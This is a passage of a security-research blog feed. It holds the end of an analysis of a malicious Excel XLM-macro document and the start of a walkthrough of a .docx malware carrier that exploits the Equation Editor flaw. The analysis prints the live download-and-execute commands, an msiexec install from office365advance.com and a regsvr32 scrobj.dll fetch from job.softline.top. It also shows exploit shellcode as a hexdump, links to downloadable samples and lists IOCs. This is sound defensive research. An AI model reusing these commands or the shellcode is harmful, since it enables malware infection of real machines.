$ oledump.py -p plugin_biff 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526  | tr -s ' '  | cut -d' ' -f4 | sort | uniq -c | sort -nr&lt;br&gt;
     63 XF   # Extended Format 5.115&lt;br&gt;
     47 STYLEEXT&lt;br&gt;
     47 STYLE&lt;br&gt;
     42 ROW&lt;br&gt;
     41 XFEXT&lt;br&gt;
     40 MULBLANK&lt;br&gt;
     20 FORMAT&lt;br&gt;
     17 CONTINUE  # record code=3C00XXXX (typically 3C002020 for record size)&lt;br&gt;
      3 EOF&lt;br&gt;
      3 DBCELL&lt;br&gt;
      3 BOF&lt;br&gt;
      2 WSBOOL&lt;br&gt;
      2 WINDOW2&lt;br&gt;
      2 VCENTER&lt;br&gt;
      2 TOPMARGIN&lt;br&gt;
      2 SETUP&lt;br&gt;
      2 SELECTION&lt;br&gt;
      2 SAVERECALC&lt;br&gt;
      2 RIGHTMARGIN&lt;br&gt;
      2 REFMODE&lt;br&gt;
      2 PRINTHEADERS&lt;br&gt;
      2 PRINTGRIDLINES&lt;br&gt;
      2 PLV&lt;br&gt;
      2 MSODRAWINGGROUP    # code=eb002020 this is where your images are.&lt;br&gt;
      2 MSODRAWING         # related&lt;br&gt;
      2 LEFTMARGIN&lt;br&gt;
      2 ITERATION&lt;br&gt;
      2 INDEX&lt;br&gt;
      2 HEADERFOOTER&lt;br&gt;
      2 HEADER&lt;br&gt;
      2 HCENTER&lt;br&gt;
      2 GUTS&lt;br&gt;
      2 GRIDSET&lt;br&gt;
      2 FORMULA           # EXEC, HALT, etc. the macro content&lt;br&gt;
      2 FOOTER&lt;br&gt;
      2 FEATHEADR&lt;br&gt;
      2 DIMENSIONS&lt;br&gt;
      2 DELTA&lt;br&gt;
      2 DEFCOLWIDTH&lt;br&gt;
      2 DEFAULTROWHEIGHT&lt;br&gt;
      2 COLINFO&lt;br&gt;
      2 CALCMODE&lt;br&gt;
      2 CALCCOUNT&lt;br&gt;
      2 BOUNDSHEET        # Spreadsheets&lt;br&gt;
      2 BOTTOMMARGIN&lt;br&gt;
      1 plugin&lt;br&gt;
      1 XFCRC&lt;br&gt;
      1 WRITEACCESS&lt;br&gt;
      1 WINDOWPROTECT&lt;br&gt;
      1 WINDOW1&lt;br&gt;
      1 USESELFS&lt;br&gt;
      1 THEME&lt;br&gt;
      1 TABLESTYLES&lt;br&gt;
      1 TABID&lt;br&gt;
      1 SUPBOOK&lt;br&gt;
      1 SST&lt;br&gt;
      1 REFRESHALL&lt;br&gt;
      1 RECALCID&lt;br&gt;
      1 PROTECT&lt;br&gt;
      1 PROT4REVPASS&lt;br&gt;
      1 PROT4REV&lt;br&gt;
      1 PRECISION&lt;br&gt;
      1 PLS&lt;br&gt;
      1 PASSWORD&lt;br&gt;
      1 OBJ&lt;br&gt;
      1 MTRSETTINGS&lt;br&gt;
      1 MMS&lt;br&gt;
      1 MERGECELLS&lt;br&gt;
      1 LABEL            # This record represents a cell that contains a string.&lt;br&gt;
      1 INTERFACEHDR&lt;br&gt;
      1 INTERFACEEND&lt;br&gt;
      1 HIDEOBJ&lt;br&gt;
      1 HFPicture&lt;br&gt;
      1 FORCEFULLCALCULATION&lt;br&gt;
      1 FNGROUPCOUNT&lt;br&gt;
      1 EXTSST&lt;br&gt;
      1 EXTERNSHEET&lt;br&gt;
      1 EXCEL9FILE&lt;br&gt;
      1 DSF&lt;br&gt;
      1 COUNTRY&lt;br&gt;
      1 COMPRESSPICTURES&lt;br&gt;
      1 COMPAT12&lt;br&gt;
      1 CODEPAGE&lt;br&gt;
      1 BOOKEXT&lt;br&gt;
      1 BOOKBOOL&lt;br&gt;
      1 BACKUP&lt;br&gt;
      1 1904&lt;br&gt;
```&lt;/p&gt;

&lt;p&gt;If you're looking for &quot;interesting&quot; records, start with grepping for the &quot;sheet&quot;, &quot;label&quot;, and &quot;formula&quot;. Let's look for the ```Auto_Open``` label and dump it, to find the cmd/msiexec combination:&lt;/p&gt;

&lt;p&gt;```text&lt;br&gt;
$ oledump.py -p plugin_biff 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526 --pluginoptions &quot;-o label -s&quot;&lt;br&gt;
  1:      4096 '\x05DocumentSummaryInformation'&lt;br&gt;
  2:      4096 '\x05SummaryInformation'&lt;br&gt;
  3:    173064 'Workbook'&lt;br&gt;
               Plugin: BIFF plugin&lt;br&gt;
                 '0018     31 LABEL : Cell Value, String Constant - \x00Auto_Ope'&lt;br&gt;
                  ASCII:&lt;br&gt;
                   Auto_Open:&lt;br&gt;
                 002a      2 PRINTHEADERS : Print Row/Column Labels&lt;br&gt;
                 002a      2 PRINTHEADERS : Print Row/Column Labels&lt;/p&gt;

&lt;p&gt;$ oledump.py -p plugin_biff 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526 --pluginoptions &quot;-o formula&quot;&lt;br&gt;
  1:      4096 '\x05DocumentSummaryInformation'&lt;br&gt;
  2:      4096 '\x05SummaryInformation'&lt;br&gt;
  3:    173064 'Workbook'&lt;br&gt;
               Plugin: BIFF plugin&lt;br&gt;
                 0160      2 USESELFS : Natural Language Formulas Flag&lt;br&gt;
                 '0006    129 FORMULA : Cell Formula - R1C1 107 ptgStr &quot;msiexec.exe serf=19 skip=1 /i http://office365advance.com/update /q OnStart=\'c:\\windows\\notepad.exe\'&quot; ptgFuncVarV args 1 func 006e (EXEC) '&lt;br&gt;
                 0006     26 FORMULA : Cell Formula - R2C1 4 ptgFuncVarV args 0 func 0036 (HALT)&lt;br&gt;
```&lt;/p&gt;

&lt;p&gt;Next, let's take a look at how one could programmatically carve the image component out of the document lure.&lt;/p&gt;

&lt;p&gt;Carving Images from XLM&lt;br&gt;
-----------------------&lt;br&gt;
As mentioned in the beginning, our aim is to carve as much as possible from this file. Thus, we are also interested in extracting the image embedded in this document. This is a precursor to extracting the semantic meaning through Optical Character Recognition (OCR). Common choices to accomplish this task generically include forensic tools such as http://foremost.sourceforge.net/ and https://github.com/sleuthkit/scalpel. We'll show an example of using scalpel here. However, neither provides a copy with the same fidelity as what is originally displayed upon opening the Excel document in a virtual machine:&lt;/p&gt;

&lt;p&gt;```text&lt;br&gt;
# applicable scalpel rules:&lt;br&gt;
#    GIF and JPG files (very common)&lt;br&gt;
#        gif     y       5000000         \x47\x49\x46\x38\x37\x61        \x00\x3b&lt;br&gt;
#        gif     y       5000000         \x47\x49\x46\x38\x39\x61        \x00\x00\x3b&lt;br&gt;
#        jpg     y       200000000       \xff\xd8\xff\xe0\x00\x10        \xff\xd9&lt;br&gt;
#        jpg     y       200000000       \xff\xd8\xff\xe1                \xff\xd9&lt;/p&gt;

&lt;p&gt;$ scalpel -c /etc/scalpel.conf 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526/workbook&lt;br&gt;
```&lt;/p&gt;

&lt;p&gt;Fig. 10 shows the output of the carved file by scalpel in the default image viewer on Windows 10.&lt;/p&gt;

&lt;a href=&quot;/legacy/2019-01-29-extracting-sneaky-excel-xlm-macros/corruptedjpeg.PNG&quot;&gt;&lt;img src=&quot;/legacy/2019-01-29-extracting-sneaky-excel-xlm-macros/corruptedjpeg.PNG&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

    Fig. 10: Corrupted JPEG file extracted from the XLM file by scalpel.

&lt;p&gt;Why is the file corrupted? Within the XLS/BIFFv8 format, records have a maximum size of 8,228 bytes. If the size of data is greater than what can fit in a single record, then the data must be split into chunks. The first chuck is put in the first record, and the rest of data chunks are placed in subsequent **CONTINUE (3Ch)** records. To successfully extract images from XLM files, one needs to strip these **CONTINUE** headers from the extracted image. To accomplish this task automatically, we've extended the oledump BIFF plugin (plugin_biff.py) to include a new command line switch for extracting images. You can find our patch in our Github repository (lines 570 to 603):&lt;/p&gt;

&lt;p&gt;[https://github.com/InQuest/DidierStevensSuite/blob/BIFF-Image-Dump-Switch/plugin_biff.py#L570-L592](https://github.com/InQuest/DidierStevensSuite/blob/BIFF-Image-Dump-Switch/plugin_biff.py#L570-L592)&lt;/p&gt;

&lt;p&gt;Here it is in action:&lt;/p&gt;

&lt;p&gt;```text&lt;br&gt;
$ oledump.py -p plugin_biff 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526 --pluginoptions &quot;-h&quot;&lt;br&gt;
Usage: oledump.py [options]&lt;/p&gt;

&lt;p&gt;Options:&lt;br&gt;
  -h, --help            show this help message and exit&lt;br&gt;
  -e, --extract         Extract images&lt;br&gt;
  -s, --strings         Dump strings&lt;br&gt;
  -a, --hexascii        Dump hex ascii&lt;br&gt;
  -o OPCODE, --opcode=OPCODE&lt;br&gt;
                        Opcode to filter for&lt;br&gt;
  -f FIND, --find=FIND  Content to search for&lt;/p&gt;

&lt;p&gt;$ oledump.py -p plugin_biff 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526 --pluginoptions &quot;-e&quot;&lt;br&gt;
  1:      4096 '\x05DocumentSummaryInformation'&lt;br&gt;
  2:      4096 '\x05SummaryInformation'&lt;br&gt;
  3:    173064 'Workbook'&lt;br&gt;
               Plugin: BIFF plugin&lt;br&gt;
                 00003255 0866    126 HFPicture : Header / Footer Picture&lt;br&gt;
                 00005279 00eb   8224 MSODRAWINGGROUP : Microsoft Office Drawing Group&lt;br&gt;
                            [EB] image + 8107 = 8107 bytes&lt;br&gt;
                 0000729d 00eb   8224 MSODRAWINGGROUP : Microsoft Office Drawing Group&lt;br&gt;
                            [EB] image + 8224 = 16331 bytes&lt;br&gt;
                 000092c1 003c   8224 CONTINUE : Continues Long Records&lt;br&gt;
                            [3C] image + 8224 = 24555 bytes&lt;br&gt;
                 0000b2e5 003c   8224 CONTINUE : Continues Long Records&lt;br&gt;
                            [3C] image + 8224 = 32779 bytes&lt;br&gt;
                 0000d309 003c   8224 CONTINUE : Continues Long Records&lt;br&gt;
                            [3C] image + 8224 = 41003 bytes&lt;br&gt;
                 0000f32d 003c   8224 CONTINUE : Continues Long Records&lt;br&gt;
                            [3C] image + 8224 = 49227 bytes&lt;br&gt;
                 00011351 003c   8224 CONTINUE : Continues Long Records&lt;br&gt;
                            [3C] image + 8224 = 57451 bytes&lt;br&gt;
                 00013375 003c   8224 CONTINUE : Continues Long Records&lt;br&gt;
                            [3C] image + 8224 = 65675 bytes&lt;br&gt;
                 00015399 003c   8224 CONTINUE : Continues Long Records&lt;br&gt;
                            [3C] image + 8224 = 73899 bytes&lt;br&gt;
                 000173bd 003c   8224 CONTINUE : Continues Long Records&lt;br&gt;
                            [3C] image + 8224 = 82123 bytes&lt;br&gt;
                 000193e1 003c   8224 CONTINUE : Continues Long Records&lt;br&gt;
                            [3C] image + 8224 = 90347 bytes&lt;br&gt;
                 0001b405 003c   8224 CONTINUE : Continues Long Records&lt;br&gt;
                            [3C] image + 8224 = 98571 bytes&lt;br&gt;
                 0001d429 003c   8224 CONTINUE : Continues Long Records&lt;br&gt;
                            [3C] image + 8224 = 106795 bytes&lt;br&gt;
                 0001f44d 003c   8224 CONTINUE : Continues Long Records&lt;br&gt;
                            [3C] image + 8224 = 115019 bytes&lt;br&gt;
                 00021471 003c   8224 CONTINUE : Continues Long Records&lt;br&gt;
                            [3C] image + 8224 = 123243 bytes&lt;br&gt;
                 00023495 003c   8224 CONTINUE : Continues Long Records&lt;br&gt;
                            [3C] image + 8224 = 131467 bytes&lt;br&gt;
                 000254b9 003c   8224 CONTINUE : Continues Long Records&lt;br&gt;
                            [3C] image + 8224 = 139691 bytes&lt;br&gt;
                 000274dd 003c   8224 CONTINUE : Continues Long Records&lt;br&gt;
                            [3C] image + 8224 = 147915 bytes&lt;br&gt;
                 00027c6f 003c   1934 CONTINUE : Continues Long Records&lt;br&gt;
                            [3C] image + 1934 = 149849 bytes&lt;br&gt;
```&lt;/p&gt;

&lt;p&gt;Conclusion&lt;br&gt;
----------&lt;br&gt;
In this article, we analyzed a stealthy malicious Excel document that relies on XLM macros to run embedded commands; which is an old-age technology superseded by VBA. We provided in detail on how such macros can be located in XLM binary files and also how to carve other useful information such as image files. Last not least, we also presented three YARA rules that can be used to capture malware instances that use similar technique.&lt;/p&gt;

&lt;p&gt;If you're interested in a similar sample, take a look at:&lt;/p&gt;

&lt;p&gt;* VT: [6f807662e04b5cfb85bc892e27a29994ddcf78e7c3311581753761fede3d5bd1](https://www.virustotal.com/en/file/6f807662e04b5cfb85bc892e27a29994ddcf78e7c3311581753761fede3d5bd1/analysis/)&lt;br&gt;
* Pivot: add3565office[.]com/rstr&lt;br&gt;
* Final: pointsoft[.]pw&lt;/p&gt;

&lt;p&gt;Malware Samples (All Stages)&lt;br&gt;
----------------------------&lt;br&gt;
Note: The following contain links to actual malware. Though without file extensions, care should be taken. Not everyone has access to Virus Total, and we want to ensure that samples are available freely for all researchers to improve their trade craft.&lt;/p&gt;

&lt;p&gt;| Stage | Parent Process | File Type | Name     | SHA256...   | Download |&lt;br&gt;
|-------|:--------------:|:---------:|:--------:|-------------|----------|&lt;br&gt;
| 1     | EXCEL          | XLS       |          | 98e4695e... | [download](https://github.com/InQuest/malware-samples/blob/master/2019-01-15-Mal-Excel-Doc-Macrosheet/98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526)|&lt;br&gt;
| 2     | MSIEXEC        | MSI       |          | a5bc8c8b... | [download](https://github.com/InQuest/malware-samples/blob/master/2019-01-15-Mal-Excel-Doc-Macrosheet/stage-2-msi/a5bc8c8b89177f961aa5c0413716cb94b753efbea1a1ec9061be53b1be5cd36a) |&lt;br&gt;
| 3     | MSIEXEC        | EXE       |          | c354467e... | [download](https://github.com/InQuest/malware-samples/blob/master/2019-01-15-Mal-Excel-Doc-Macrosheet/stage-3-exe/c354467ec5d323fecf94d33bc05eab65f90a916c39137d2b751b0e637ca5a3e4) |&lt;br&gt;
| 4     | WSCRIPT        | VBS       | rds.vbs  | 8a5041d4... | [download](https://github.com/InQuest/malware-samples/blob/master/2019-01-15-Mal-Excel-Doc-Macrosheet/stage-4-vbs/8a5041d41c552c5df95e4a18de4c343e5ac54845e275262e99a3a6e1a639f5d4) |&lt;br&gt;
| 5     | CMD            | BAT       | help.bat | 91237a76... | [download](https://github.com/InQuest/malware-samples/blob/master/2019-01-15-Mal-Excel-Doc-Macrosheet/stage-5-bat/91237a76e43caa35e3fbd42d47fbaca5d6b5ea7a96c89341196d070b628122ce) |&lt;br&gt;
| 6     | RUNDLL32       | DLL       | htpd.dat | 79a56ca8... | [download](https://github.com/InQuest/malware-samples/blob/master/2019-01-15-Mal-Excel-Doc-Macrosheet/stage-6-dll/79a56ca8a7fdeed1f09466af66c24ddef5ef97ac026297f4ea32db6e01a81190) |&lt;/p&gt;

&lt;p&gt;YARA Hunting Rules&lt;br&gt;
------------------&lt;br&gt;
The YARA rules we defined inline above are available, along with other YARA rules we wish to share with the community. These rules should not be considered production appropriate. Rather, they are valuable for research and hunting purposes:&lt;/p&gt;

&lt;p&gt;* [Excel_Hidden_Macro_Sheet.rule](https://github.com/InQuest/yara-rules/blob/master/Excel_Hidden_Macro_Sheet.rule)&lt;br&gt;
* [Executable_Converted_to_MSI.rule](https://github.com/InQuest/yara-rules/blob/master/Executable_Converted_to_MSI.rule)&lt;br&gt;
* [MSIExec_Pivot.rule](https://github.com/InQuest/yara-rules/blob/master/MSIExec_Pivot.rule)&lt;/p&gt;

&lt;p&gt;Other YARA rules that we've open-sourced can be found at [https://github.com/InQuest/yara-rules/](https://github.com/InQuest/yara-rules/). Additionally, we maintain a curated list of awesome YARA rules, tools, and people over at: [https://github.com/pedramamini/awesome-yara/](https://github.com/pedramamini/awesome-yara/).&lt;/p&gt;

&lt;p&gt;References&lt;br&gt;
----------&lt;br&gt;
* [https://blog.inquest.net/blog/2018/02/12/deep-file-inspection](https://blog.inquest.net/blog/2018/02/12/deep-file-inspection)&lt;br&gt;
* [http://download.microsoft.com/download/1/A/9/1A96F918-793B-4A55-8B36-84113F275ADD/Excel97-2007BinaryFileFormat(xls)Specification.pdf](http://download.microsoft.com/download/1/A/9/1A96F918-793B-4A55-8B36-84113F275ADD/Excel97-2007BinaryFileFormat(xls)Specification.pdf)&lt;br&gt;
* [https://www.openoffice.org/sc/excelfileformat.pdf](https://www.openoffice.org/sc/excelfileformat.pdf)&lt;br&gt;
* [https://msdn.microsoft.com/en-us/library/dd942138.aspx](https://msdn.microsoft.com/en-us/library/dd942138.aspx)&lt;br&gt;
* [https://www.mitec.cz/ssv.html](https://www.mitec.cz/ssv.html)&lt;br&gt;
* [https://www.aldeid.com/wiki/BiffView](https://www.aldeid.com/wiki/BiffView)&lt;br&gt;
* [https://lolbas-project.github.io/lolbas/Binaries/Msiexec/](https://lolbas-project.github.io/lolbas/Binaries/Msiexec/)&lt;br&gt;
* [https://github.com/decalage2/oletools](https://github.com/decalage2/oletools)&lt;br&gt;
* [https://blog.didierstevens.com/programs/oledump-py/](https://blog.didierstevens.com/programs/oledump-py/)&lt;br&gt;
* [http://www.exetomsi.com](http://www.exetomsi.com)&lt;br&gt;
* [https://research.domaintools.com/research/screenshot-history/vesecase.com/#0](https://research.domaintools.com/research/screenshot-history/vesecase.com/#0)&lt;br&gt;
* [http://whois.domaintools.com/vesecase.com](http://whois.domaintools.com/vesecase.com)&lt;br&gt;
* [http://whois.domaintools.com/office365advance.com](http://whois.domaintools.com/office365advance.com)&lt;/p&gt;

&lt;p&gt;IOCs&lt;br&gt;
----&lt;br&gt;
* 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526&lt;br&gt;
* a5bc8c8b89177f961aa5c0413716cb94b753efbea1a1ec9061be53b1be5cd36a&lt;br&gt;
* c354467ec5d323fecf94d33bc05eab65f90a916c39137d2b751b0e637ca5a3e4&lt;br&gt;
* 8a5041d41c552c5df95e4a18de4c343e5ac54845e275262e99a3a6e1a639f5d4&lt;br&gt;
* 91237a76e43caa35e3fbd42d47fbaca5d6b5ea7a96c89341196d070b628122ce&lt;br&gt;
* 79a56ca8a7fdeed1f09466af66c24ddef5ef97ac026297f4ea32db6e01a81190&lt;br&gt;
* office365advance[.]com&lt;br&gt;
* hxxp://office365advance[.]com/update&lt;br&gt;
* krontvhouse[.]com&lt;br&gt;
* 185.68.93.84&lt;br&gt;
* vesecase[.]com&lt;br&gt;
* hxxps://vesecase[.]com/support/form.php&lt;br&gt;
* afsssdrfrm[.]pw&lt;br&gt;
* hxxps://afsssdrfrm[.]pw/support/form.php&lt;br&gt;
* add3565office[.]com&lt;br&gt;
* add3565office[.]com/rstr&lt;br&gt;
* pointsoft[.]pw&lt;/p&gt;
&lt;p class=&quot;dim&quot;&gt;&lt;i&gt;Originally published 2019-01-29 on &lt;a href=&quot;https://web.archive.org/web/2020/https://inquest.net/blog/2019/01/30/extracting-sneaky-excel-xlm-macros&quot; target=&quot;_top&quot;&gt;the InQuest blog&lt;/a&gt;. Written with Amirreza Niakanlahiji.&lt;/i&gt;&lt;/p&gt;
</description>
        </item>
                <item>
            <title>04.19.2018: Walkthrough of a Common Malware Carrier</title>
            <link>http://pedramamini.com/blog/2018.04.19/</link>
            <pubDate>Thu, 19 Apr 2018 00:00:00 -0500</pubDate>
            <description>&lt;p&gt;E-mail is a prominent vector for malware delivery, by way of a malicious URL or file attachments. When embedding malicious content within a file, malware authors commonly nest a variety of formats within one another and pivot through numerous stages of payloads before retrieving the final one. In this post, we'll walk through the dissection of a common document malware carrier.&lt;br&gt;
&lt;/p&gt;
&lt;p&gt;The sample we'll dive into originally popped up on our radar a week ago, on Thursday April 12th 2018. Received through one of our [VirusTotal Intelligence](https://www.virustotal.com/intelligence/) YARA hunt rules that search for suspicious Office documents with an external reference (more on this in a second). This Tweet from [@blu3_team](https://twitter.com/blu3_team/status/986777903395373057) a few hours ago succinctly illustrated the behavior of this common carrier type, we'll dive deeper into the step-by-step analysis. We've made the original sample, subsequent stage payloads, and some intermediary files available on our GitHub [InQuest/malware-samples](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/). The initial malicious document:&lt;/p&gt;
&lt;p&gt;* SHA256: [d347e095369aba294f674331054df8469b12d5e3260deb168827142d862f88d6](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/d347e095369aba294f674331054df8469b12d5e3260deb168827142d862f88d6)&lt;br&gt;
* [OPSWAT MetaDefender](https://metadefender.opswat.com/results#!/file/YTE4MDQxOXIxQnotc3FUU2hmQms4ZldvNWFyM2Y/regular/multiscan)&lt;br&gt;
* [VirusTotal](https://www.virustotal.com/en/file/d347e095369aba294f674331054df8469b12d5e3260deb168827142d862f88d6/analysis/)&lt;br&gt;
* [Hybrid-Analysis](https://www.hybrid-analysis.com/sample/d347e095369aba294f674331054df8469b12d5e3260deb168827142d862f88d6)&lt;/p&gt;

&lt;p&gt;On initial upload last week there were only three AV hits on the sample (Kaspersky, ZoneAlarm, and Zoner). Today, upon subsequent rescan, there were six:&lt;/p&gt;

  &lt;img src=&quot;/legacy/2018-04-19-walkthrough-of-a-common-malware-carrier/virus-total.png&quot; alt=&quot;&quot;&gt;

    On 4/12 the detection ration was 3/59, on 4/19 it is 6/59.

&lt;p&gt;The file is a Microsoft Office .docx file, which means you can simply rename it to .zip to extract and inspect the contents. Let's grep out the URL ignoring some common domains we don't care about:&lt;/p&gt;
&lt;p&gt;```iq-bash&lt;br&gt;
$ grep -rEo '(http|https)://[^&quot;]+' * | cut -d':' -f2- | grep -Ev &quot;adobe.com|w3.org|openxmlformats.org|microsoft.com&quot; | sort | uniq&lt;br&gt;
http://job.softline.top/banner.jpg&lt;br&gt;
http://purl.org/dc/dcmitype/&lt;br&gt;
http://purl.org/dc/elements/1.1/&lt;br&gt;
http://purl.org/dc/terms/&lt;br&gt;
```&lt;/p&gt;
&lt;p&gt;That first one pops out immediately. Let's see which file contains that particular URL and then inspect the file in its entirety:&lt;/p&gt;
&lt;p&gt;```iq-bash&lt;br&gt;
$ grep -lr http://job.softline.top/banner.jpg&lt;br&gt;
word/_rels/webSettings.xml.rels&lt;/p&gt;
&lt;p&gt;$ cat word/_rels/webSettings.xml.rels&lt;br&gt;&lt;br&gt;```&lt;/p&gt;
&lt;p&gt;There's the external reference we were alluding to earlier. At this point, a user will have opened the initial carrier and activated this reference. Retrieving the next stage payload [banner.jpg](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/banner.jpg), you'll immediately notice the file is actually an RTF document and not a JPG image. We'll use [rtfobj](http://decalage.info/python/oletools) to dissect this further by requesting it dump all the objects out of the RTF stream:&lt;/p&gt;
&lt;p&gt;```iq-bash&lt;br&gt;
$ rtfobj -s all banner.jpg -d objects&lt;br&gt;
rtfobj 0.51 - http://decalage.info/python/oletools&lt;br&gt;
THIS IS WORK IN PROGRESS - Check updates regularly!&lt;br&gt;
Please report any issue at https://github.com/decalage2/oletools/issues&lt;/p&gt;
&lt;p&gt;===============================================================================&lt;br&gt;
File: 'banner.jpg' - size: 108109 bytes&lt;br&gt;
---+----------+-------------------------------+-------------------------------&lt;br&gt;
id |index     |OLE Object                     |OLE Package&lt;br&gt;
---+----------+-------------------------------+-------------------------------&lt;br&gt;
0  |0000ED3Ah |format_id: 2 (Embedded)        |Not an OLE Package&lt;br&gt;
   |          |class name: 'Equation.3'       |&lt;br&gt;
   |          |data size: 3072                |&lt;br&gt;
---+----------+-------------------------------+-------------------------------&lt;br&gt;
1  |00010E11h |format_id: 2 (Embedded)        |Not an OLE Package&lt;br&gt;
   |          |class name: 'Equation.3'       |&lt;br&gt;
   |          |data size: 3072                |&lt;br&gt;
---+----------+-------------------------------+-------------------------------&lt;/p&gt;
&lt;p&gt;Saving file embedded in OLE object #0:&lt;br&gt;
  format_id  = 2&lt;br&gt;
  class name = 'Equation.3'&lt;br&gt;
  data size  = 3072&lt;br&gt;
  saving to file objects/banner.jpg_object_0000ED3A.bin&lt;/p&gt;
&lt;p&gt;Saving file embedded in OLE object #1:&lt;br&gt;
  format_id  = 2&lt;br&gt;
  class name = 'Equation.3'&lt;br&gt;
  data size  = 3072&lt;br&gt;
  saving to file objects/banner.jpg_object_00010E11.bin&lt;/p&gt;
&lt;p&gt;$ file *&lt;br&gt;
banner.jpg_object_0000ED3A.bin: Composite Document File V2 Document, Cannot read section info&lt;br&gt;
banner.jpg_object_00010E11.bin: Composite Document File V2 Document, Cannot read section info&lt;br&gt;
```&lt;/p&gt;
&lt;p&gt;Two Composite Document Files (CDF). We'll use [oledump](https://blog.didierstevens.com/programs/oledump-py/) to list the streams in both of the dumped objects [banner.jpg_object_0000ED3A.bin](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/banner-objects/banner.jpg_object_0000ED3A.bin) and [banner.jpg_object_00010E11.bin](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/banner-objects/banner.jpg_object_00010E11.bin):&lt;/p&gt;
&lt;p&gt;```iq-bash&lt;br&gt;
$ oledump.py banner.jpg_object_0000ED3A.bin&lt;br&gt;
  1:       102 '\x01CompObj'&lt;br&gt;
  2:        20 '\x01Ole'&lt;br&gt;
  3:         6 '\x03ObjInfo'&lt;br&gt;
  4:       197 'Equation Native'&lt;/p&gt;
&lt;p&gt;$ oledump.py banner.jpg_object_00010E11.bin&lt;br&gt;
  1:       102 '\x01CompObj'&lt;br&gt;
  2:        20 '\x01Ole'&lt;br&gt;
  3:         6 '\x03ObjInfo'&lt;br&gt;
  4:       197 'Equation Native'&lt;br&gt;
```&lt;/p&gt;
&lt;p&gt;Each dumped object contains an &quot;Equation Native&quot; stream. These OLE streams contain exploits for the Microsoft Equation Editor vulnerabilities described in [CVE-2017-11882](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882) and [CVE-2018-0802](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0802). For an example proof-of-concept exploit, see [github/rxwx/CVE-2018-0802](https://github.com/rxwx/CVE-2018-0802). Let's dump each of those streams:&lt;/p&gt;
&lt;p&gt;```iq-bash&lt;br&gt;
$ oledump.py banner.jpg_object_0000ED3A.bin -s4&lt;br&gt;
00000000: 1C 00 00 00 02 00 9E C4 A9 00 00 00 00 00 00 00  ......??.......&lt;br&gt;
00000010: C8 A7 5C 00 C4 EE 5B 00 00 00 00 00 03 01 01 03  ?\.??[.........&lt;br&gt;
00000020: 0A 0A 01 08 5A 5A 33 C0 99 B2 02 C1 E2 08 2B E2  ....ZZ3???.??.+?&lt;br&gt;
00000030: E8 FF FF FF FF C3 5B 50 64 8B 40 30 8B 40 08 99  ??????[Pd?@0?@.?&lt;br&gt;
00000040: B2 03 C1 E2 10 66 BA 12 0C 03 C2 8D 5B 1C 53 FF  ?.??.f?...[.S?&lt;br&gt;
00000050: E0 72 65 67 73 76 72 33 32 20 2F 75 20 2F 73 20  ?regsvr32 /u /s&lt;br&gt;
00000060: 2F 69 3A 68 74 74 70 3A 2F 2F 6A 6F 62 2E 73 6F  /i:http://job.so&lt;br&gt;
00000070: 66 74 6C 69 6E 65 2E 74 6F 70 2F 61 64 31 2E 6A  ftline.top/ad1.j&lt;br&gt;
00000080: 70 67 20 73 63 72 6F 62 6A 2E 64 6C 6C 20 23 20  pg scrobj.dll #&lt;br&gt;
00000090: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20&lt;br&gt;
000000A0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20&lt;br&gt;
000000B0: 20 20 20 20 20 20 20 20 20 20 25 00 00 00 00 00            %.....&lt;br&gt;
000000C0: 00 00 00 00 00&lt;/p&gt;
&lt;p&gt;$ oledump.py banner.jpg_object_00010E11.bin -s4&lt;br&gt;
00000000: 1C 00 00 00 02 00 9E C4 A9 00 00 00 00 00 00 00  ......??.......&lt;br&gt;
00000010: C8 A7 5C 00 C4 EE 5B 00 00 00 00 00 03 01 01 03  ?\.??[.........&lt;br&gt;
00000020: 0A 0A 01 08 5A 5A B8 44 EB 71 12 BA 78 56 34 12  ....ZZ?D?q.?xV4.&lt;br&gt;
00000030: 31 D0 8B 08 8B 09 8B 09 66 83 C1 3C 31 DB 53 51  1?.?.?.f??&amp;lt;1?SQ
00000040: BE 64 3E 72 12 31 D6 FF 16 53 66 83 EE 4C FF 10  ?d&amp;gt;r.1??.Sf??L?.&lt;br&gt;
00000050: 90 90 14 21 40 00 00 00 72 65 67 73 76 72 33 32  ??.!@...regsvr32&lt;br&gt;
00000060: 20 2F 75 20 2F 73 20 2F 69 3A 68 74 74 70 3A 2F   /u /s /i:http:/&lt;br&gt;
00000070: 2F 6A 6F 62 2E 73 6F 66 74 6C 69 6E 65 2E 74 6F  /job.softline.to&lt;br&gt;
00000080: 70 2F 61 64 31 2E 6A 70 67 20 73 63 72 6F 62 6A  p/ad1.jpg scrobj&lt;br&gt;
00000090: 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00  .dll............&lt;br&gt;
000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................&lt;br&gt;
000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................&lt;br&gt;
000000C0: 00 00 00 00 00                                   .....&lt;br&gt;
```&lt;/p&gt;
&lt;p&gt;We'll focus on the first of the two, banner.jpg_object_0000ED3A.bin. For further reading on the specific of Equation Editor vulnerabilities we recommend the following articles from [Checkpoint](https://research.checkpoint.com/another-office-equation-rce-vulnerability/) and [Freebuf](http://www.freebuf.com/vuls/159789.html). Aligning the vulnerabile structure with the data above we have the following table:&lt;/p&gt;
&lt;p&gt;| struct member | description     | size                         | offset      |&lt;br&gt;
|---------------|-----------------|------------------------------|-------------|&lt;br&gt;
